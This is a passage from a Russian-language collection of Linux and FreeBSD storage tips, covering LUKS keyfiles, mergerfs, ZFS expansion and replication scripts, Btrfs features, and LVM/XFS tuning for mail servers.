       dd if=/dev/urandom bs=1 count=33|base64 -w 0 > /etc/cryptsetup-keys.d/luks-<UUID>.key
       chmod 600 /etc/cryptsetup-keys.d/luks-<UUID>.key
       cryptsetup --key-slot 1 luksAddKey /dev/sda2 # первичный ключ для восстановления
       cryptsetup --key-slot 0 luksRemoveKey /dev/sda2 # удаляем временный ключ
       cryptsetup --key-slot 0 --iter-time 1 luksAddKey /dev/sda2 /etc/cryptsetup-keys.d/luks-<UUID>.key
    
    Указание опции "-w 0" в dd необходимо для того, чтобы исключить появление в
    пароле символа перевода строки.
    
    Для систем с mkinitramfs теперь нужно изменить настройки /etc/crypttab, указав
    путь к сгенерированному ключу:
    
       cr_root UUID=<UUID> /etc/cryptsetup-keys.d/luks-<UUID>.key luks
    
    Для систем с dracut необходимо добавить hook ключа в /etc/dracut.conf.d, а для
    Debian также потребуется указать маску определения файла с ключом:
    
    cryptodisk.conf 
       install_items+=" /etc/cryptsetup-keys.d/* "
    
       echo "KEYFILE_PATTERN=\"/etc/cryptsetup-keys.d/*\"" >>/etc/cryptsetup-initramfs/conf-hook
    
    Теперь можно перегенерировать образ RAM-диска начальной загрузки. После попытки
    загрузки пароль будет спрошен один раз только на стадии запуска GRUB и на
    последующих стадиях загрузки запрашиваться не будет.
    
     
    ----* Логическое объединение нескольких файловых систем при помощи mergerfs (доп. ссылка 1)   [комментарии]
     
    FUSE-модуль Mergerfs позволяет логически объединить несколько файловых
    систем в одну, например, для объединения разнесённых на разные диски коллекции
    видео или музыки в одну иерархию.
    
    
    В отличие от aufs и overlayfs в mergerfs не создаётся отдельного слоя для
    записи и данная ФС не может применяться поверх разделов, доступных в режиме
    только для чтения. Но mergerfs даёт возможность прямой записи в
    примонтированный раздел в соответствии с заданной политикой, например, запись
    может осуществляться в ФС, в которой больше свободного места. Также можно
    включить в один сводный раздел ФС, доступную на запись, и ФС только для чтения.
    В такой конфигурации операции записи будут производиться в разделе, который
    допускает запись.
    
    Среди особенностей mergerfs:  настройка поведения размещения новых файлов,
    работа в пространстве пользователей через FUSE,  поддержка расширенных
    атрибутов (xattrs) и смены атрибутов chattr, работа с различными ФС, поддержка
    POSIX ACL.
    
    Проектом собираются пакеты для Fedora, Debian и Ubuntu.
    
    Устанавливаем mergerfs в Fedora 31:
    
       wget https://github.com/trapexit/mergerfs/releases/download/2.29.0/mergerfs-2.29.0-1.fc31.x86_64.rpm
    
       sudo dnf install mergerfs-2.29.0-1.fc31.x86_64.rpm
    
    
    Допустим, в системе есть два раздела /disk1 и /disk2, на которых имеются  каталоги с видео:
    
       $ df -hT | grep disk
       /dev/sdb1      ext4      23M  386K 21M 2% /disk1
       /dev/sdc1      ext4      44M  1.1M 40M 3% /disk2
    
       $ ls -l /disk1/Videos/
       total 1
       -rw-r--r--. 1 curt curt 0 Mar 8 17:17 file1.mkv
    
       $ ls -l /disk2/Videos/
       total 2
       -rw-r--r--. 1 curt curt 0 Mar 8 17:17 file2.mkv
       -rw-rw-r--. 1 curt curt 0 Mar 8 17:21 file3.mkv
    
    
    Создадим логический раздел /media, который будет включать в себя как  /disk1, так и /disk2:
    
       $ sudo mergerfs -o defaults,allow_other,use_ino,category.create=mfs,moveonenospc=true,minfreespace=1M /disk1:/disk2 /media
    
    где
    
        defaults - применение настроек по умолчанию
        allow_other - возможность доступа непривилегированных пользователей, а не только root
        use_ino - манипуляция исходными inode вместо libfuse для того, чтобы связанные файлы имели одинаковые inode.
        category.create=mfs - распределение новых файлов в зависимости от доступного свободного пространства.
        moveonenospc=true - в случае сбоя записи искать раздел с большим свободным местом.
        minfreespace=1M - минимальное свободное место для записи.
        disk1 - первый подключаемый раздел
        disk2 - второй подключаемый раздел
        /media - точка монтирования
    
    
    После монтирования получим:
    
       $ df -hT | grep media 
       1:2        fuse.mergerfs  66M      1.4M 60M 3% /media 
    
    
    Если скопировать в /media/Videos/ большой новый файл, для которого не хватает
    места в /disk1, но который вмещается в /disk2, то это файл будет размещён в
    разделе /disk2. Разделы /disk1 и /disk2 после монтирования остаются доступны
    для любых операций, /media объединяет их лишь логически.
    
       $ ls -lh file4.mkv
       -rw-rw-r--. 1 curt curt 30M Apr 20 08:45 file4.mkv
    
       $ cp file4.mkv /media/Videos/
    
    
       $ ls -l /disk1/Videos/ 
       total 1
       -rw-r--r--. 1 curt curt 0 Mar 8 17:17 file1.mkv
    
       $ ls -l /disk2/Videos/
       total 30003
       -rw-r--r--. 1 curt curt 0 Mar 8 17:17 file2.mkv
       -rw-rw-r--. 1 curt curt 0 Mar 8 17:21 file3.mkv
       -rw-rw-r--. 1 curt curt 30720000 Apr 20 08:47 file4.mkv
    
       $ ls -l /media/Videos/
       total 30004
       -rw-r--r--. 1 curt curt 0 Mar 8 17:17 file1.mkv
       -rw-rw-r--. 1 curt curt 0 Mar 8 17:21 file2.mkv
       -rw-r--r--. 1 curt curt 0 Mar 8 17:17 file3.mkv
       -rw-rw-r--. 1 curt curt 30720000 Apr 20 08:47 file4.mkv
    
     
    ----* Обход проблем при расширении хранилища ZFS в Linux   Автор: пох  [комментарии]
     
    Внезапное открытие - прекрасная ZFS в прекрасной Ubuntu LTS имеет некоторые
    проблемы с банальным увеличением vdev.
    
    Если у вас жила-была (такая) система с zfs'ом, тихонько подползала к
    пресловутым 80% заполнения, и вы решили добавить ей места, памятуя о легкости
    необычайной и безопасности выполнения в ней таких вещей, вас ждет малоприятный сюрприз.
    
    Добавляем ценный ресурс к LUN, хранилище рапортует ок, радостно видим что ядро
    линукса подхватило новую информацию (у меня это произошло даже без
    необходимости дергать вручную /sys/гдетамоно/sdчтото/гдетотамеще/rescan) и...
    и.... и ничего.
    
    Если это случилось: 
    
       zpool set autoexpand=on <pool>
       zpool online -e <pool> <sd?>
    
    Эта команда не принесёт  успеха, но поменяет gpt метку - что вы должны 
    увидеть, запустив fdisk до и после - если этого не происходит, ядро у вас не
    увидело увеличения устройства, запустите rescan ещё раз.
    
    Теперь у нас хотя бы физический диск действительно занимает весь нововыделенный объем.
    
       reboot # без него ничего не получится
    
    Нет, все ещё счастья не воспоследовало, но!
    
       zpool list 
    
    Показывает нечто, отличное от прочерка в графе EXPANDSZ! Победа.
    Btw, наличие этой графы в выводе zpool как раз признак версии, где проблема еще/уже не исправлена
    
       zpool online -e <pool> <sd?> # еще раз!
    
    Теперь list должен показать, что счастье настало, а zfs list - соответственно,
    что приросли и сами fs на этом пуле
    
    Не правда ли, сущая ерунда по сравнению со сложнейшей командой resize2fs ?!
    
    
    Долгое гугление приводит к обнаружению треда 2016(!) года о том как
    разработчики в очередной раз сами себе наступили на ногу, открыв устройство с
    O_EXCL и не сумев параллельно в нем покопаться из другого процесса, но не
    извольте беспокоиться, все уже переписали и закоммитил лично Бехлендорф
    (гуглите, в короткой статье нет места описанию этих ужасов - а то что там
    поназакоммичено ужас кромешный и есть) - но то ли не в ту версию что у ubuntu
    18.04, то ли недостаточно хорошо закоммичено.
    
    Еще более тщательное гугление приводит к паре статей на stack, где автор
    "двадцать раз поперезагружался, подергал какие-то команды, хистори лог в
    терминале сохранил"...но постеснялся его выложить. К счастью, я не настолько
    стеснителен, и к тому же проверял результат. Надеюсь, кому-то следующему
    повезет не потерять на это лишних полчаса.
    
     
    ----* Оптимизация использования SSD-накопителя во FreeBSD 9.0   Автор: ixes  [комментарии]
     
    Ниже собраны рекомендации по оптимизации работы SSD-накопителя во FreeBSD 9.0,
    которые удалось найти в Сети.
    
    Процесс установки и оптимизации под 4k блоки со сдвигом кратный 8, описывать не
    буду так как FreeBSD 9.0 cам все это делает (если установка выполнялась в
    автоматическом режиме).
    
    После установки необходимо включить поддержку TRIM, для этого следует выполнить
    (диск должен быть отмонтирован  - загрузись с LiveCD):
    
       tunefs -t enable /dev/adaxxx
    
    Отключение журналирования (может быть чревато более длительным временем
    проверки целостности ФС, если некорректно завершить работу, нажать reset, или
    если свет отключат  - пользуйтесь бесперебойником):
    
       tunefs -J disable /dev/adaxxx
       tunefs -n disable /dev/adaxxx
       tunefs -j disable /dev/adaxxx
    
    Посмотреть состояние флагов раздела можно командой:
    
       tunefs -p /dev/adaxxx
    
    Отключение лишних обновлений метаданных (noatime) и использование tmpfs для
    временных разделов и логов в /etc/fstab:
    
       /dev/adaxxx        /        ufs    rw,noatime    1    1
       tmpfs            /tmp        tmpfs    rw        0    0
       tmpfs            /var/run    tmpfs    rw        0    0
       tmpfs            /var/spool    tmpfs    rw        0    0
       tmpfs            /var/log    tmpfs    rw        0    0
    
    Перед добавлением убедитесь, что /var/spool, /var/log и /var/run  не содержит
    того, что может потребоваться между перезагрузками.
    
    Вариант настройки через /etc/rc.conf:
    
       tmpmfs="YES"
       tmpsize="20m"
       tmpmfs_flags="-S"
       varmfs="YES"
       varsize="32m"
       varmfs_flags="-S"
       populate_var="YES"
    
    Размер  виртуальной файловой системы (tmpfs) писать в соответствии с свободным
    ОЗУ (в нашем примере, 20 мегабайт для /tmp и 32 мегабайт для /var). Настройки
    нужно сделать или в /etc/fstab или в /etc/rc.conf.
    
     
    ----* Использование расширенных возможностей Btrfs (доп. ссылка 1)   [комментарии]
     
    В заметке представлены примеры использования таких расширенных функций Btrfs
    как создания отказоустойчивых конфигураций, опции для обеспечения целостности
    данных, хранение данных в сжатом виде, снапшоты.
    
    Создадим тестовый раздел Btrfs на диске /dev/sdb:
    
       # mkfs.btrfs /dev/sdb
    
       adding device /dev/sdb id 2
       fs created label (null) on /dev/sdb
       nodesize 4096 leafsize 4096 sectorsize 4096 size 10.00GB
       Btrfs Btrfs v0.19
    
    
    Примонтируем созданный раздел:
    
       # mount /dev/sdb /mnt
    
    Создадим подраздел и скопируем на него тестовые файлы: 
    
       # cd /mnt
       # btrfs subvolume create MYFILES
    
       # cp myfile* /mnt/MYFILES
    
       # ls /mnt/MYFILES
       myfile1
       myfile2
       myfile3
    
    Удалим один из файлов:
    
       # rm /mnt/MYFILES/myfile2
    
       # ls /mnt/MYFILES
       myfile1
       myfile3
    
    Если файлов очень много, то удалять их командой "rm -rf" достаточно долгий и
    ресурсоёмкий процесс. В этом случае проще воспользоваться командой удаления подраздела:
    
    
       # btrfs subvolume delete MYFILES
    
    При этом важно понимать, что удалить можно только отдельно созданные
    подразделы. Подраздел, создаваемый по умолчанию при форматировании ФС, удалению
    не подлежит.
    
    
    Настройка отказоустойчивой конфигурации с зеркалированием на несколько дисков.
    
    Btrfs предоставляет достаточно гибкие средства по зерклированию данных и
    расширению доступного пространства раздела. Дополнительные диски можно
    подключить в любое время, расширив таким образом размер ФС или обеспечив
    отказоустойчивость. По умолчанию при размещении радела на нескольких дисках
    осуществляется зеркалирование метаданных на двух дисках, но сами данные
    распределяются по данным дискам без резервирования (размер ФС получается равным
    суммарному размеру дисков). Если диск один, то  две копии метаданных
    размещаются на нём.
    
    Добавим в уже созданный раздел дополнительный диск  /dev/sdc, все данные уже
    сохранённые на первом диске останутся на месте, если не выполнить операцию ребалансировки:
    
    
       # btrfs device add /dev/sdc /mnt/btrfs
    
       # btrfs filesystem show
    
       Label: none  uuid: b4f5c9a8-d8ec-4a5b-84f0-2b8c8d18b257
    	Total devices 2 FS bytes used 200.33MB
    	devid    1 size 5.00GB used 5.00GB path /dev/sdb
    	devid    2 size 5.00GB used 4.98GB path /dev/sdc
    
    
    Использование RAID 
    
    Btrfs имеет встроенную поддержку нескольких уровней RAID (RAID1, RAID5). В
    отличии от обычных программных и аппаратных RAID, Btrfs оперирует не
    формированием RAID на уровне дисков, а использует для создания логических RAID
    разделов распределение chunk-ов, определяющих дисковую область заданного
    размера (от 256 Мб). Каждый chunk может быть отзеркалирован на несколько дисков
    или склеен из частей разных дисков. При создании RAID для данных и метаданных
    могут применяться разные методы хранения, например, для метаданных и служебных
    структур всегда применяется зеркалирование.
    
    Создать RAID заданного уровня для данных и метаданных можно на этапе создания
    ФС. Например, создадим RAID1 (зеркало) из двух дисков:
    
       # mkfs.btrfs -m raid1 -d raid1 /dev/sdb /dev/sdc
    
       mkfs.btrfs -m raid1 -d raid1 /dev/sdb /dev/sdc
       adding device /dev/sdc id 2
       fs created label (null) on /dev/sdb
    	nodesize 4096 leafsize 4096 sectorsize 4096 size 10.00GB
       Btrfs Btrfs v0.19
    
    После чего подключим ещё два диска и создадим RAID10 (зеркало на двух склеенных дисках):
    
       # mkfs.btrfs -m raid10 -d raid10 /dev/sdd /dev/sde
    
       adding device /dev/sde id 2
       fs created label (null) on /dev/sdd
    	nodesize 4096 leafsize 4096 sectorsize 4096 size 10.00GB
       Btrfs Btrfs v0.19
    
    
    Опция "-m" задаёт уровень RAID для метаданных, а "-d" для данных. Например,
    можно использовать смешанные схемы:
    
    
       # mkfs.btrfs -m raid1 -d raid10 /dev/sdf /dev/sdg /dev/sdh /dev/sdi
    
    Обеспечение целостности данных.
    
    Btrfs поддерживает несколько встроенных механизмов обеспечения целостности: 
    
    * Хранение контрольных сумм для проверки блоков данных и метаданных; 
    
    * Изоляция сбоев (отдельное сохранение данных и метаданных с CRC-верификацией); 
    
    * Средства выявления повреждений и их автоматической корректировки (проверка по
    контрольным суммам осуществляется при каждом чтении блока, если выявлено
    расхождение осуществляется попытка прочитать повреждённый блок с другого диска,
    после чего осуществляется корректировка повреждённого блока);
    
    * Поддержка операции фоновой перепроверки всего содержимого ФС (вычисляются и
    сверяются контрольные суммы для всех блоков). Для запуска проверки следует выполнить:
    
       # btrfs scrub start /mnt/MYFILES
    
    * Перестроение RAID при замене или добавлении новых дисков. Отличительной
    чертой Btrfs является то, что в перестроении участвуют только занятые блоки,
    что существенно сокращает время выполнения операции.
    
    * В настоящее время в Btrfs нет встроенной возможности хранения информации в
    зашифрованном виде, но обеспечить шифрование можно путем создания ФС поверх
    шифрованных разделов, созданным при помощи подсистем dm_crypt и LUKS.
    
    Использование сжатия данных.
    
    Для оптимизации расходования дискового пространства при хранении хорошо
    сжимаемых данных можно использовать встроенные в Btrfs механизмы сжатия.
    Поддерживается сжатие методами  Lempel-Ziv-Oberhumer (LZO) или zlib (в
    разработке поддержка Snappy и LZ4). Включить сжатие можно после создания ФС, на
    этапе монтирования, при этом сжиматься будут только новые данные.
    
    Монтируем раздел с включением сжатия:
     
       # mount -o compress=lzo /dev/sdb /mnt/MYFILES
    
    Сжатие можно включить и для отдельного подраздела:
    
       # btrfs subvolume create /mnt/MYFILES/mysubvol
    
       # mount -o compress=lzo,subvol=mysubvol /dev/sdb /mnt/MYSUBVOL
    
    
    Снапшоты и клонирование.
    
    В рамках снапшота может быть сделан активный срез состояния ФС в заданный
    момент времени. В дальнейшем, используя средства миграции данный, сохранённый
    снапшот можно восстановить на другой машине. Кроме задействования
    дополнительных метаданных снапшон не приводит к дополнительному расходованию
    дискового пространства - физически хранится одна копия данных.
    
    Создадим снапшот для ранее созданных данных:
    
        # ls /mnt/MYFILES
        myfile1
        myfile2
    
        # btrfs subvolume snapshot /mnt/MYFILES /mnt/SNAPSHOT
    
        # ls /mnt/SNAPSHOT
        myfile1
        myfile2
    
    
    Для отдельных фалов можно создавать клоны, которые в отличие от копирования
    используют один набор блоков на диске:
    
        # cp --reflink /mnt/MYFILES/myfile1 /mnt/MYFILES/myfile3
    
        # ls /mnt/MYFILES
        myfile1
        myfile2
        myfile3
    
    Средства дефрагментации.
    
    Btrfs поддерживает режим автоматической фоновой дефрагментации, активируемый
    при помощи опции монтирования "-o autodefrag". Кроме того, дефрагментацию можно
    запустить вручную:
    
    
       # btrfs filesystem defrag /mnt
    
     
    ----* Создание и обслуживание разделов с файловой системой Btrfs (доп. ссылка 1)   [комментарии]
     
    Для примера создадим Btrfs-раздел размером 10 Гб, включающий в себя два диска по
    5 Гб (/dev/sdb и /dev/sdc):
    
       # mkfs.btrfs /dev/sdb /dev/sdc
    
       adding device /dev/sdc id 2
       fs created label (null) on /dev/sdb
       nodesize 4096 leafsize 4096 sectorsize 4096 size 10.00GB
    
    Для проверки, что файловая система охватывает два диска выполним:
    
       # btrfs filesystem show /dev/sdb
    
       Label: none  uuid: b4f5c9a8-d8ec-4a5b-84f0-2b8c8d18b257
       Total devices 2 FS bytes used 28.00KB
       devid    1 size 5.00GB used 1.53GB path /dev/sdb
       devid    2 size 5.00GB used 1.51GB path /dev/sdc
    
    Смонтируем созданную ФС:
    
       # mount /dev/sdb /mnt
    
    монтировать следует первое устройство /dev/sdb, при попытке дополнительно
    смонтировать /dev/sdc будет выдано предупреждение:
    
       # mount /dev/sdc /mnt
    
       mount: /dev/sdc already mounted or /mnt busy
       mount: according to mtab, /dev/sdb is already mounted on /mnt
    
    Просмотрим информацию о смонтированном разделе:
    
      # df -h /mnt
    
       Filesystem      Size  Used Avail Use% Mounted on
       /dev/sdb         10G   56K  8.0G   1% /mnt
    
       # btrfs filesystem df /mnt
    
       Data, RAID0: total=1.00GB, used=0.00
       Data: total=8.00MB, used=0.00
       System, RAID1: total=8.00MB, used=4.00KB
       System: total=4.00MB, used=0.00
       Metadata, RAID1: total=1.00GB, used=24.00KB
       Metadata: total=8.00MB, used=0.00
    
    
    Создадим подраздел с именем subbasefoo для хранения файлов и директорий:
    
       # btrfs subvolume create subbasefoo
    
       Create subvolume './subbasefoo'
    
    Поместим в данный подраздел три пустых файла foobar1, foobar2 и foobar3:
    
       # touch foobar1 foobar2 foobar3
    
    Создадим снапшот с именем subbasefoo-20120501 созданного ранее подраздела и
    проверим, что файлы в нём находятся в неизменном виде:
    
       # btrfs subvolume snapshot subbasefoo/ subbasefoo-20120501
    
       Create a snapshot of 'subbasefoo/' in './subbasefoo-20120501'
    
       # ls -R
       subbasefoo  subbasefoo-20120501
       ./subbasefoo:
       foobar1  foobar2  foobar3
       ./subbasefoo-20120501:
       foobar1  foobar2  foobar3
    
    Удалим файлы в основном подразделе и убедимся, что они сохранились в снапшоте
    (занимаемое файлами дисковое пространство освободится только после удаления снапшота).
    
    
    По сути снапшот является тем же подразделом, поэтому к нему применимы все
    команды для подразделов, в том числе создание новых  снапшотов. Для
    использования возможности восстановления состояния подраздела рекомендуется
    создавать новые снапшоты при проведении в них экспериментов - если результат
    оказался удачен, старый снапшот можно удалить, а если нет - удалить
    экспериментальный снапшот.
    
    
    Интересной особенностью является возможность клонирования файлов без
    расходования дополнительного дискового пространства на каждую копию (хранится
    только один экземпляр данных). Для подобного клонирования в процессе
    копирования утилитой cp следует использовать опцию reflink. Например клонируем
    файл rantest.tst, размером 200 Мб:
    
       # df -h .
       Filesystem      Size  Used Avail Use% Mounted on
       -                10G  201M  7.8G   3% /mnt/btrfs/subbasefoo
    
       # cp --reflink rantest.tst clonetest.tst
       # df -h .
    
       Filesystem      Size  Used Avail Use% Mounted on
       -                10G  201M  7.8G   3% /mnt/btrfs/subbasefoo
    
     
    ----* Использование ZFS в Ubuntu Linux (доп. ссылка 1)   [комментарии]
     
    Установим поддержку ZFS на Ubuntu Server и создадим RAIDZ-хранилище на базе
    двух имеющихся жестких дисков.
    
    Создадим на дисках по разделу при помощи утилиты cfdisk, для просмотра таблицы
    разделов можно использовать команду "cat /proc/partitions".
    
    Установим пакеты, необходимые для обеспечения работы ZFS:
    
       sudo apt-get update && sudo apt-get upgrade
       sudo apt-get install python-software-properties bison flex build-essential \\
       libelf-dev zlib1g-dev libc6-dev-i386 libdwarf-dev binutils-dev
    
    Подключим дополнительный PPA-репозиторий zfs-native:
    
       sudo add-apt-repository ppa:zfs-native/stable
    
    и установим из него пакеты с компонентами для поддержки ZFS:
    
       sudo apt-get update
       sudo apt-get install ubuntu-zfs
    
    Создадим zpool с именем  zfs-test и типом заркалирования RAIDZ, поместив в
    создаваемый RAID разделы на двух имеющихся дисках:
    
       sudo zpool create zfs-test raidz /dev/sdb1 /dev/sdc1
    
    Посмотрим статус созданного раздела:
    
       sudo zpool status
       sudo zfs list
       df -h
    
     
    ----* Непрерывная репликация ZFS во FreeBSD   Автор: Алексей Волков  [комментарии]
     
    Введение
    
    С самого начала появления ZFS, я записался в ряды ее поклонников, и до сих пор
    ни разу не пожалел об этом. И на страницах opennet.ru я уже успел поделиться
    приятными моментами ее использования на OS FreeBSD.
    
    Сегодня речь пойдет о возможностях непрерывной репликации ZFS между хостами FreeBSD.
    
    Цели
    
    Лично мне это стало не просто полезным, а необходимым, как только возникла
    задача использования виртуальных окружений, и в рамках одного физического
    сервера создавалась группа виртуальных серверов.
    
    Первоначальная задумка выглядела следующим образом:
    
    
    * Основной сервер виртуализации
    * Сервер горячей замены (по своим характеристикам близкий, но не идентичный основному)
    * Коммерческое ПО для виртуализации, не предполагалось, только OpenSource.
    
    Задача абсолютной бесперебойной работы не ставилась, основной критерий -
    быстрое (в пределах  5 минут) время восстановления IT сервисов в случае отказа
    основного сервера, с минимальной потерей пользовательских данных. Другими
    словами, если основной сервер выходит из строя, то все данные пользователей,
    сохраненные за несколько минут до отказа, не должны быть утеряны.
    
    Вариант с общим NAS, разделяемый между серверами виртуализации, по ряду причин,
    в том числе и финансовых, так же не рассматривался.
    
    Таким образом, данную конфигурацию можно кратко охарактеризовать, как среда
    виртуализации начального уровня с элементами отказоустойчивости.
    
    
    Средства
    
    В качестве хост системы выступает FreeBSD 8.1 с гипервизором VirtualBox OSS.
    
    Я не буду подробно останавливаться на процессе установки и настройки
    VirtualBox, скажу только то, что оба сервера и основной и резервный имеют
    идентичное ПО, а все конфигурации и образы виртуальных серверов расположены
    внутри ZFS с точкой монтирования /var/IMAGES.
    
    В таком виде, задача обеспечения отказоустойчивости сводится к синхронизации
    содержимого /var/IMAGES с основного сервера на резервный, чтобы в случае
    отказа, оставалась возможность запуска всех серверов на резервном сервере из
    актуальных образов.
    
    Очевидным является тот факт, что чем чаще происходит синхронизация, тем лучше.
    Так же очевидно что rsync, не смотря на все его прелести, не способен
    обеспечить синхронизацию заданными выше временными рамками.
    Беглый поиск выявляет упоминания о коммерческих реализациях zfs репликации а
    так же стандартных возможностях ZFS создания,  и что самое важное, обмена ими
    между хостами посредством zfs send/receive. Об этом упоминалось, в том числе и на
    страницах opennet.
    
    Именно zfs send/receive будет использован для непрерывной репликации в режиме
    близкому к реальному времени.
    
    Репликацией должен заниматься скрипт, запускаемый из cron, интервал запуска 1 минута.
    
    Скрипт запускается на резервном сервере и должен:
    
    * Создать новый снапшот на основном сервере.
    * Все снапшоты, задействованные в процессе репликации, должны иметь некую
    отличительную особенность (префикс в своем имени).
    * Выявить самый свежий общий снапшот, относительно которого, можно провести
    инкрементальную репликацию. В случае его отсутствия провести полную репликации.
    * Провести репликацию через send/receive
    * Удалить неиспользуемые снапшоты.
    * Запротоколировать все свои действия.
    
    Как видно из краткого плана мероприятий, резервному серверу придется запускать
    команды на основном. SSH замечательно справиться с этим, но нужно иметь ввиду что:
    
    * запускать через скрипт команды на удаленном сервере от имени рута ( а значит
    хранить или пароль или ключ рута) не слишком хорошая идея.
    * ZFS на FreeBSD до сих пор не дружит с ZFS Delegated Administration
    
    Учитывая эти два факта, следует завести на основном сервере на
    привилегированного пользователя и выполнять команды zfs через sudo , разрешив
    ему необходимый минимум.
    
    В файле /usr/local/etc/sudoers.d/zfs_replication определяем для пользователя следующие разрешения
    
       synczfs      ALL = NOPASSWD : /sbin/zfs snapshot *, /sbin/zfs send *,/sbin/zfs list *,/sbin/zfs destroy *
    
    А теперь непосредственно скрипт /root/zfs-nrt-replication.sh
    
       #!/bin/sh
       REMOTE_HOST="master.local"
       FS="/var/IMAGES"
       REMOTE_POOL="tank0"
       LOCAL_POOL="tank0"
       SNAPSHOTMARK="SYNC-"
    
    
       SSHKEY="/root/syncimages_id"
       SSHFLAGS="-i $SSHKEY -o CheckHostIP=no -o StrictHostKeyChecking=no \
       -o IdentitiesOnly=yes -o BatchMode=yes -o  GlobalKnownHostsFile=/dev/null -l synczfs"
       SSHCMD="/usr/bin/ssh $SSHFLAGS $REMOTE_HOST sudo "
       INCREMENTAL=""
    
       (
    
       echo "Snapshoting remote FS"
    
       $SSHCMD "zfs snapshot -r $REMOTE_POOL$FS@$SNAPSHOTMARK`uuidgen`"
    
       RECENT_COMMON_SNAPSHOT=""
    
       for R in `$SSHCMD zfs list -H -o name -s creation -t snapshot -r $REMOTE_POOL$FS | grep $REMOTE_POOL$FS@`
       do
          for L in `zfs list -H -o name -s creation -t snapshot -r $LOCAL_POOL$FS | grep $LOCAL_POOL$FS@`
          do
              if [ "${R##*@}" = "${L##*@}" ]; then
                 RECENT_COMMON_SNAPSHOT=${R##*@}
                 INCREMENTAL="-I $REMOTE_POOL$FS@$RECENT_COMMON_SNAPSHOT"
              fi
          done
          REMOTE_LATEST_SNAPSHOT=${R##*@}
       done
    
       echo "Syncronizing remote FS to local"
    
       echo "zfs send -R $INCREMENTAL $REMOTE_POOL$FS@$REMOTE_LATEST_SNAPSHOT"
    
       $SSHCMD "zfs send -R $INCREMENTAL $REMOTE_POOL$FS@$REMOTE_LATEST_SNAPSHOT" | \
       /usr/local/bin/pipemeter --autooff --blocksize 16M --interval 60 --log | zfs receive -dF $LOCAL_POOL
    
       if [ $? -eq 0 ]; then
          echo "Cleaning useless remote snapshots"
          $SSHCMD "zfs list -r -t snapshot -o name -H $REMOTE_POOL$FS  | grep \"$SNAPSHOTMARK\" | \
          egrep -v  \"@($RECENT_COMMON_SNAPSHOT|$REMOTE_LATEST_SNAPSHOT)\" | xargs -I% sudo zfs destroy %"
       fi
    
       echo "Done."
       ) 2>&1 | logger -s -p ftp.info -t SYNCZFS
    
    Сам скрипт запускается на резервном сервере из cron следующим образом
    
       */1 * * * * root  /usr/sbin/daemon -p /var/run/zfs-sync.pid -f /root/zfs-nrt-replication.sh > /dev/null
    
    Итак, на резервном сервере скрипт запускается каждую минуту, но если он еще не
    закончил свое выполнение с прошлого запуска, то попытка пропускается.  Весь
    вывод скрипта направляется в лог-файл /var/log/xferlog. Для более наглядной
    оценки скорости используется дополнительное ПО pipemeter, в результате чего
    в лог файл, с минутным интервалом, добавляется информация об объеме
    передаваемых данных, а так же скорости обмена.
    
    Дополнительно, можно настроить автоматический снапшотинг, чтобы иметь версии
    виртуальных машин различной степени давности (часовой, дневной, недельной и
    т.д.). Эти версии так же будут реплицироваться на резервный сервер.
    
    И теперь, в случае обнаружения отказа в работе основного сервера,
    администратору остается запустить виртуальную машину на резервном сервере, но и
    этот процесс так же можно автоматизировать, но это материал еще для одной
    статьи :)
    
     
    ----* Тюнинг LVM, RAID, XFS и EXT3 при интенсивной обработке мелких файлов (доп. ссылка 1)   [комментарии]
     
    Рекомендации по тюнингу некоторых системных параметров в Debian/GNU Linux для
    оптимизации работы высоконагруженных систем, производящих тысячи одновременных
    запросов к массиву из десятка миллионов мелких файлов (например, типичная
    ситуация для нагруженного почтового сервера с maildir). В итоге удалось снизить
    время ожидания процессором завершения ввода/вывода (I/O wait) для XFS с 30% до
    0.3%, а для EXT3 до 5%.
    
    Для увеличения производительности при большом числе параллельных дисковых
    операций рекомендуется использовать хранилища, подключенные через Fiber
    Channel, и использовать технологию Multipath для организации доступа к
    хранилищу, подключенному через несколько каналов (путей) ввода/вывода.
    
    Повысить производительность можно подключив несколько дисков в LVM и RAID,
    используя "striping"-режим без контроля целостности. Оптимальная
    производительность для программного RAID при обработке небольших файлов
    достигается при размере stripe-блока 4 Мб и размере chunk-а 256 Кб. Важное
    значение имеет также выравнивание файловых систем, LVM и RAID относительно
    внутренней группировки дисков в хранилище (учитываем физические параметры
    массива для логически предоставляемого хранилищем раздела).
    
    Например, имея хранилище  IBM DS 8300 из 8 дисков, подключенных по Fiber
    Channel и объединенных в RAID5, будет использовать разбиение на 8 каналов ввода/вывода:
    
       # pvcreate /dev/mapper/mpath0 
       # pvcreate /dev/mapper/mpath1
       ...
       # pvcreate /dev/mapper/mpath7
    
    
       # vgcreate --autobackup y grupo1 /dev/mapper/mpath0 /dev/mapper/mpath1 \
        /dev/mapper/mpath2 /dev/mapper/mpath3 /dev/mapper/mpath4 /dev/mapper/mpath5 \
        /dev/mapper/mpath6 /dev/mapper/mpath7
    
       # lvcreate --autobackup y --readahead auto --stripes 8 --stripesize 4096 \
         --size 1,95T --name lvstripe2 grupo1
    
    Оптимизация файловых систем:
    
    Ext3 плохо подходит для конфигурация с большим объемом параллельных запросов,
    но показывает лучшую производительность при однопоточной обработке мелких
    файлов, на производительность Ext3 также отрицательно влияет накапливающаяся со
    временем фрагментация данных. Оптимальным решением при высокой параллельной
    нагрузке и при работе с очень большими файлами является XFS, в случае
    использования нескольких Allocation Group.
    
    При использовании XFS, операции по выравниванию относительно stripe-раздела LVM
    или RAID производятся автоматически. Для Ext3 обязательно нужно рассчитывать
    смещение вручную, иначе будет наблюдаться падение производительности
    (http://busybox.net/~aldot/mkfs_stride.html http://wiki.centos.org/HowTos/Disk_Optimization)
    
    Форматирование ФС.
    
    Существенная разница в плане оптимизации состоит в том, что в ext3 используется
    только одна таблица inode, что приводит к необходимости использования очереди
    запросов. В XFS отдельная таблица inode создается для каждой Allocation Group,
    при этом каждая из групп может функционировать и изменяться параллельно, не
    влияя на другие группы.
    
    Ext3: При запуске mke2fs следует использовать опцию "-T", выбрав в качестве
    аргумента оптимальный план форматирования, приведенный в файле
    /etc/mke2fs.conf, например "mke2fs -T small".
    
    XFS: минимизируем число Allocation Group к размеру квоты на пользователей
    почтового сервера, так как при создании директорий XFS пытается создать новую
    директорию в еще не заполненной Allocation Group. C учетом того, что Linux-ядро
    поддерживает минимальный размер Allocation Group в 2^27 байт, то рассчитать
    число групп (agcount) можно по формуле: желаемый размер хранилища / (2^27)
    
    Например (4096 - размер блока, 128m - размер лога мета-данных):
       -l internal,lazy-count=1,size=128m -d agcount=399 -b size=4096
    или
       -l internal,lazy-count=1,size=128m -d agsize=268435456 -b size=4096
    
    Для поднятия производительность лог мета-данных можно перенести в отдельный
    пул, размещенный на SSD-накопителе.
